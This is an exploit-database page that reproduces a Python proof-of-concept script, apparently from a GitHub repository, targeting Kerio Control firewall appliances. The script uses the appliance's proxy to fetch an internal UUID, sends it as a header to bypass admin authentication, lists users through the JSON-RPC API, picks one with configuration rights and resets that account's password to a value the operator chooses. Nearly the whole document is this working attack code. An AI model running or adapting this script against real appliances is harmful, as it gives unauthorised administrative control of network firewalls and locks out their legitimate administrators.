Exploit databaseDownload repository ZIP
GH-3a458a3cd66b0a09ab0dfaa5289c2338
cppghoul/cve-2025-34069
Sources for CVE-2025-34069
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
cppghoul/cve-2025-34069Revision fe7a71d39668
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
PoC.py
Python · 4,176 bytesfrom requests import *
import json
print(r"""
______ _______ ____ ___ ____ ____ _____ _ _ ___ __ ___
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ /| || | / _ \ / /_ / _ \
| | \ \ / /| _| _____ __) | | | |__) |___ \ _____ |_ \| || |_| | | | '_ \ (_) |
| |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |__ _| |_| | (_) \__, |
\____| \_/ |_____| |_____|\___/_____|____/ |____/ |_| \___/ \___/ /_/
""")
print("Author: cppghoul\n")
IP = input("IP: ")
choice = input("Use the default kerio ports? (Y/N): ").strip().lower()
if choice in ('y', 'yes'):
PROXYport=3128; UUIDport=7995; GFIADMINport=7996; WEBADMINport=4081
elif choice in ('n', 'no'):
print("Kerio control Proxy port:")
PROXYport=int(input())
print("Kerio control GFIagent UUID port:")
UUIDport=int(input())
print("Kerio control GFIagent admin port:")
GFIADMINport=int(input())
print("Kerio Control WebAdmin port:")
WEBADMINport=int(input())
else:
print("invalid choice. exiting")
exit(1)
PROXYURL=f"http://{IP}:{PROXYport}"
UUIDURL=f"http://127.0.0.1:{UUIDport}/appliances"
ADMINURL=f"http://{IP}:{GFIADMINport}/proxy/admin/"
APIURL=f"http://{IP}:{GFIADMINport}/proxy/admin/api/jsonrpc/"
proxy = {
"http": PROXYURL,
"https": PROXYURL
}
s = Session()
s.proxies = proxy
s.verify = False
r = s.get(UUIDURL, timeout=10)
data = json.loads(r.text)
if data:
print(f"[ + ] Got UUID from port {UUIDport}")
else:
print(f"[ - ] Couldn't get UUID from port {UUIDport}")
exit(1)
UUID=data[0]["id"]
s.headers.update({"app-id": UUID})
r = s.get(ADMINURL, timeout=100)
data = r.text
if "Kerio Control Administration" in data:
print(f"[ + ] Succeded to bypass Auth")
else:
print(f"[ - ] Couldn`t bypass Auth")
exit(1)
users_req = {
"jsonrpc":"2.0",
"id":1,
"method":"Users.get",
"params":{"query":{"start":0,"limit":-1},"domainId":"local"}
}
r = s.post(APIURL, json=users_req, timeout=30)
data = json.loads(r.text)
users = data.get("result", {}).get("list", [])
print(f"[ * ] Found {len(users)} users")
admin = None
for u in users:
rights = u.get("data", {}).get("rights", {})
if rights.get("readConfig") and rights.get("writeConfig"):
admin = u
break
if not admin:
print("[ - ] Couldn`t find admin user")
exit(1)
UID = admin.get("id")
LOGIN = admin.get("credentials", {}).get("userName")
if not UID or not LOGIN:
print("[ - ] Couldn`t extract admin id/login")
exit(1)
print(f"[ * ] Found admin: {LOGIN} (ID: {UID})")
NEWPASS = input("New password: ").strip()
if not NEWPASS:
print("[ - ] Empty password")
exit(1)
change_req = {
"jsonrpc":"2.0",
"id":1,
"method":"Users.set",
"params":{
"userIds":[UID],
"details":{
"data":{
"rights": admin.get("data", {}).get("rights", {}),
"quota": admin.get("data", {}).get("quota", {
"daily":{"enabled":False,"type":"QuotaBoth","limit":{"value":0,"units":"GigaBytes"}},
"weekly":{"enabled":False,"type":"QuotaBoth","limit":{"value":0,"units":"GigaBytes"}},
"monthly":{"enabled":False,"type":"QuotaBoth","limit":{"value":0,"units":"GigaBytes"}},
"blockTraffic":False,"notifyUser":False
}),
"wwwFilter": admin.get("data", {}).get("wwwFilter", {
"javaApplet":False,"embedObject":False,"script":False,"popup":False,"referer":False
}),
"language": admin.get("data", {}).get("language", "detect")
},
"credentials":{
"userName": LOGIN,
"password": NEWPASS,
"passwordChanged": True
},
"fullName": admin.get("fullName", ""),
"description": admin.get("description", ""),
"email": admin.get("email", ""),
"authType": admin.get("authType", "Internal"),
"useTemplate": admin.get("useTemplate", False),
"adEnabled": admin.get("adEnabled", True),
"localEnabled": admin.get("localEnabled", True),
"groups": admin.get("groups", []),
"autoLogin": admin.get("autoLogin", {
"addresses":{"enabled":False,"value":[""]},
"addressGroup":{"enabled":False,"id":""},
"macAddresses":{"enabled":False,"value":[""]}
}),
"vpnAddress": admin.get("vpnAddress", {"enabled":False,"value":""})
},
"domainId":"local"
}
}
s.post(APIURL, json=change_req, timeout=30)
print(f"[ + ] Password for {LOGIN} changed to: {NEWPASS}")